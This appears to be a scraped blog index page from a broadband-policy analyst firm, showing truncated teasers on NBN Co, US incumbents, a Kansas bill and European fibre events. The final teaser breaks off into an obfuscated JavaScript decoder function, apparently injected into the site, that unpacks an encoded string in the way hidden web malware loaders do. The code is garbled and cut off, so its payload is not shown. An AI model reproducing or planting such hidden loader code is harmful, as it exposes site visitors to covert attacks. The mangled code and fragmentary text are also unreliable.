2015 has been a troubled year on the international scene, and while it isn't our role at Diffraction Analysis to comment news events,
Plucking the low-hanging broadband policy fruit
Ever since moving to Asia last year I have been looking around for what was happening broadband policy wise
NBN Co should NOT open its network to retail customers
It won’t come as a surprise that I follow what’s happening with Australia’s NBN Co with interest. After all, even if I’ve been highly critical of the plan’s implementation
DT didn’t shelf its variable rate plans…
There was an interesting and animated discussion on twitter yesterday about the fact that journalists systematically present network congestion due to Online
Meet Us in Brussels
Diffraction Analysis CEO/CRO will be in Brussels on November 19th-20th, speaking at a number of events:
On November 19th, Benoit will be one of the speakers at the Swedish Municipalities event entitled Maximizing Fiber Infrastructure Investment in Europe. He
The Maddening Schizophrenia of US Incumbents
I must confess to a particular fondness for those moments of synchronicity when different news items happen to collide in the same cycle, violently contradicting each other. This week is a great example.
On Tuesday, Techzone 360 published a really
How much money is there in Net Discrimination?
One of the striking realizations of my Analyst career was when I found out that very often companies in the broadband
Connectivity Models for Developing Economies
There are recurring misconceptions about broadband in emerging markets. These are considered "truths"
Kansas Legislature Introduces Bill to Limit Internet Investment
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Benoit Felten‘s insight:
Looks like the US incumbents are at it again, trying to stifle
Gigabit at Bayonette’s Point!
I’ll be honest, I’d never heard of Bayonette until I read function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)< <6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa